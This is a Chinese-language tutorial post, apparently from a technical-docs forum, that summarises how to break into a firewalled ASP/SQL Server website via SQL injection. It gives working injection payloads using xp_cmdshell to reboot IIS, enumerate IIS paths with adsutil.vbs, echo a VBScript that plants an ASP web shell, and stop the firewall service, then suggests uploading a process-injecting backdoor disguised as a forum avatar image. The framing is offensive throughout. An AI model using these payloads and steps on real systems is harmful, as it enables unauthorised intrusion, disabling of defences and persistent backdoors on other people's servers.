SQL注入ASP漏洞的方法總結
當前位置:點晴教程→知識管理交流
→『 技術文檔交流 』
裝上了防火墻的主機,進行入侵攻擊的大概思路小結一下。
首先當然是用掃描器對這臺服務器(以下簡稱主機A)進行常規的掃描,得到初步的信息。再用nmap -sS IP -P0 -p 139 ,透過防火墻查看是否開有139端口。從上面得到的信息我們可以簡單的判斷到:主機A的系統是什么,裝有防火墻的話,一般是只允許80端口開放的。如果能夠泄漏asp源文件,當然是最好不過的了,但是一般難得遇到。如果主機A有show files之類的CGI漏洞,我們就可以試著看能不能從conn.inc等可能存放密碼的文件得到有用的信息。 然后就要進入重點了,尋找突破口。由于主機A裝有防火墻,所以就算其有其他的溢出漏洞都將會導致我們的不到shell(U漏洞就不講了)。在這種情況下,一般容易找到突破口的地方就是主機A上的新聞發布系統、論壇、聊天室。在這三個地方里最容易出毛病的地方,不少人都認為是論壇,但是我在網上看到的大部分相關文章中發現漏洞的地方都是新聞發布系統。 好了,讓我們先來試試看在新聞發布系統的*.asp后面加上單引號’,再提交。返回: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) /mingce/student1.asp, 第 26 行 或者是頁面正常,但不能夠顯示新聞列表,這樣看來就有一半的機會了。再讓我們將單引號改為分號;,提交后如果能夠正常返回頁面,說明這個asp沒有過濾分號。只要滿足這兩個條件,我們就可以有戲看了。為了跟進一步的確定主機A到底是否有sql注入毛病,我們可以使用下面兩種方法簡單測試一下:xp_cmdshell ’iisreset /reboot’或是xp_cmdshell ’ping 你.的.I.P’,如果第一個命令能執行成功那么在半分鐘之內遠程系統會重啟一次的,第二個命令你自已的機子的防火墻通常會提示來至x.x.x.x的主機向你發送ICMP數據,不過對于這種禁止任何數據出的主機第二個命令可能也不行。 現在我們將要想個辦法獲得shell了。利用xp_cmdshell我們可以直接添加系統賬戶,如果主機A沒有防火墻的話,再用IPC種植者之類的工具就可以得到shell了,但是主機A是裝有防火墻的,所以我們首先考慮得到web shell ,就算權限低一點都沒有關系。 思路: 1)找到web目錄的路徑 2)用echo(也可利用sql表單)寫入一個簡單的cmd.asp,用來找到防火墻的具體名字等操作。 3)通過xp_cmdshell來關閉防火墻服務 要找到web目錄的路徑,在我看來有三種方法:一是,猜!什么c:\Inetpub\wwwroot c:\wwwroot c:\www 之類的。二是,主機A上可能有其他ASP文件在提交非正常變量后會暴露其絕對路徑,還可以試試1’or’1那個著名漏洞 。三是czy82的方法(以下是轉貼的): ******************************************************************** 使用adsutil.vbs程序我是這樣執行的 a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;-- 是不是很長啦:)通過它我們可以把iis里面第一個虛擬web站點的設置情況(當然包括它所在的實際目錄咯)導入到a.txt中。 對于a.txt的實際位置默認當然是c:\winnt\system32,其實這都不是問題,不過遇到管理員把adsutil.vbs刪了或是放到別的地方我們就沒辦法了(不可能自已用echo 命令寫一個吧)。 第二步:用echo命令寫下面的代碼到c:\中,很多嗎也不算吧:) .....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;-- .....xp_cmdshell ’echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs’;-- ..... -------------------read.vbs--------------------------------- set fso1=createobject("scripting.filesystemobject") Set WshShell = Wscript.CreateObject("Wscript.Shell") spa=WshShell.Environment("process")("windir") set fil =fso1.opentextfile(spa & "\system32\aa.txt") do while not fil.atendofstream nr=fil.readline if left(nr,4)="Path" then pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3) exit do end if loop set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true) fil1.writeline "" ---------------cut here-------------------------------------- 第三步:當然就是執行read.vbs三,這樣我們可以把aa.txt中的內容讀出來找到web站點的實際路徑 然后寫一個叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯 執行http://x.x.x.x/dd.asp 返回:d:\xxx 看來我運氣就是不錯的哈(其實有個問題是我們找的第一個web站點可能并不能通過x.x.x.x來仿問) ******************************************************************** 這樣就可以得到web目錄的路徑,然后用echo 寫個cmd.asp到其目錄下,這樣我們就可以得到一個web shell了。有了這個shell,我們可以使用net start查看開有哪些服務,或是查看主機A的開始菜單,得到主機A所使用的防火墻名字,在通過xp_cmdshell將其關閉。比如a’;exec master..xp_cmdshell ’net stop smcservice’;-- (smcservice是sygate防火墻的服務名)。 上面講的大部分都出自于czy82發表的《只開80端口主機的入侵思路(實戰,原創)》一文。而我自己也想了一點。當我們得到web shell后,我們完全可以上傳系統進程插入式SHELL(比如InjShell.exe),然后再用xp_cmdshell執行這個后門,就可以透過防火墻來了。至于怎樣上傳文件,一般去論壇部分找找回有不小的收獲,比如將要上傳的文件改為.jpg文件名,用于論壇頭像的上傳等方法。 上面講了很多,你可能沒有看出入侵的重點,我這里提出來: 1.找到存在sql注入毛病的asp文件,主要是看他是否過濾了引號和分號。 2.找到網站web的絕對路徑,除文中提到了三種方法外,你還可以試著在1433里面將sa該密碼,再回頭調用asp文件,一般會出現錯誤并暴露絕對路徑。 3.得到web shell后,最好是要能夠找到一種上傳文件到主機上去的方法,從而更快的得到有權限的shell。 另外,在講講論壇和聊天室部分,可以先試著用google搜索主機上使用的論壇,有的論壇(或聊天室)將論壇管理員的密碼明文保存在一文件中,這樣就可以直接用瀏覽器訪問這個文件了。或者試試將show.asp?id=7之類的asp文件,改動ID后面的數7并提交,看能不能得到有用的信息。實在不行,還可以試試用跨站腳本攻擊。如果是雷奧、動網之類的有名的論壇,這可以嘗試著找找有沒有新的漏洞報告之類的。 總之,一個網站要做的是一面墻,入侵者要做的就是在這堵墻上找縫隙鉆進去。相比較而言,那個容易就不用我講了。 該文章在 2011/1/31 1:01:27 編輯過 |
關鍵字查詢
相關文章
正在查詢... |